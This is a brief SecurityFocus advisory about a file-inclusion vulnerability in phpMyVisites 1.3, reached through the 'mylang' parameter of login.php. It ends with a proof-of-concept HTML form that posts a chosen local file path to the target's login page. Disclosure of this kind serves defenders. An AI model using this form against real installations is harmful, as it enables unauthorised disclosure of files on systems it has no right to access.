source: http://www.securityfocus.com/bid/13370/info

phpMyVisites allows attackers to include arbitrary files. While it has been demonstrated that local files may be included through this vulnerability, there is an unconfirmed possibility of remote file inclusion.

Exploitation could disclose local files, or in the case of remote file inclusion, let the attacker execute malicious PHP code.

The issue is known to affect phpMyVisites 1.3. Other versions may also be affected. 

<form action="http://[pathtoyourphpMyVisites]/login.php" method="POST">
Local file: <input type="text" name="mylang" value="" />
<input type="submit" value="Alexx says RELAX!">
</form> 